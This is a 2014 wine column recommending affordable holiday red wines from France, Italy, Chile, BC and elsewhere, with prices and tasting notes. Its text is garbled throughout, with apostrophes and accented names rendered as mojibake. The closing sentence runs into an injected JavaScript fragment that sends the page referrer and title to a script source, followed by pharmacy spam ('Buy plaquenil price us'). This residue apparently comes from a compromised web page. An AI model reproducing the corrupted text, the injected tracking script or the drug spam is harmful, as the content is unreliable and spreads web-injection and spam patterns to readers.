Paint your party red – Dec. 6, 2014

By Anthony Gismondi

Ita��s Round 2 of our two-part column of must-have holiday pours this week. Today we explore the all-important world of red wine.

Once the powerhouse of retail, red wine has suffered an image setback of late, with so many manufactured wines one step removed from a Starbucks Macchiato or and Tim Hortona��s Double Double. Residual sugar, smoke and oak with candied fruit flavours dominate the under-$20 category across North America, making it difficult to locate drinkable reds with character and a story to tell.

As was the case with last weeka��s white wine picks, we have looked back over the year and after culling through hundreds of selections we have a list of bottles widely available in BC Liquor Stores that should make your holiday wine shopping easier. Many will also be sold in private wine shops and should you not find one, simply suggesting one of these wines will likely trigger an equally compelling substitute from the talented store staff wherever you shop.

If there was any red wines that over-delivered in terms of price and quality in 2014, they were from the Rhone Valley and the south of France, although as the Canadian dollar has faded we have experienced some significant jumps in price with no equivalent jump in quality. Thata��s why government is loath to part with its insidious ad-valorem liquor markup tax, soon to become a wholesale tax. The higher the base cost, the greater the tax collected. The result for consumers is what is known as the trading down effect. An excellent value $14 wine goes to a fair value at $16 and before you know the same wine offers no value at $19.

But on to the festive fare:

The Louis Bernard CA?tes du RhA?ne Rouge 2012 ($16) covers all the bases for its price and is unbeatable when it comes to authenticity and value. The texture boasts both roundness and structure with underlying aromatic, smoky cherry/raspberry notes that feed into more black cherry fruit and signature spicy garrigue notes throughout. Paul Mas loves to tout the concept of Le Luxe Rural and his Cote Mas 2012 ($16) delivers all that and more. Mas has a common touch with inexpensive wines that leaves them with a certain amount of sophistication yet wide appeal. A perfect party red for stews and casseroles or grilled meats or poultry. Fantastic value.

Still in France, La DomeliA�re Rasteau 2010 ($22) comes from one of the oldest wineries in the Rhone Valley. Mineral-stony, red fruits cry out for food. Domaine Serres Mazard CuvA�e Henri Serres 2011 ($22) tells the story of CorbiA?res in the Languedoc. Dry firm and powerful, it will tame those lamb popsicles or meatballs. Finally from the famed Perrin Family, a simple Famille Perrin CA?tes du RhA?ne Rouge ($18). The palate is juicy with plummy, ripe raspberry fruit flavours more spice and dried herbs. Perfect for grilled pork, lamb or chicken appetizers and soft cheeses.

Italian wine prices continue to soar, leaving us with two moderately priced choices that will illuminate any holiday affair. The Verso Rosso Salento 2013 ($20) is back in stock if you missed it earlier. It is an impressive affordable 60/35/15 blend of negroamaro, primitivo, malvasia nera. Equally tasty is the Batasiolo Nebbiolo Langhe Rosso 2011 ($18). The poor mana��s Barolo, its fresh, juicy palate and black cherry, pepper and savoury, meaty, smoky flavours are very food friendly.

Chile is in a rut, with plenty of soft, leafy, herbaceous reds dominating in our market. Perhaps the best bets are the Falernia wines you can choose from the Falernia CarmenA?re Syrah Reserva 2011 ($18) or the Falernia Syrah Reserve 2010 ($18). Both are compelling Elqui valley reds with intense spicy, black cherry, plum jam, savoury flavours that over-deliver for the price.

Quality affordable local red wines are tough to find in BC Liquor Stores but my picks would be Five Vineyards by Mission Hill Pinot Noir 2012 ($19), Tinhorn Creek Merlot 2012 ($20) and Sandhill Syrah Sandhill Estate Vineyard 2012 ($20). Each progressively bigger than the other.

Spain and Australia round out the list. From Down Under, check out the Heartland Spice Trader Shiraz-Cabernet Sauvignon 2012 ($20) and its fresh and juicy fruit that slides down easily. Spain has had a good run of late and the Pasion de Bobal 2011 ($19) is a fun red made from all organic fruit.

That should do it, 14 real wines all available and looking for a party.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; Buy plaquenil price us

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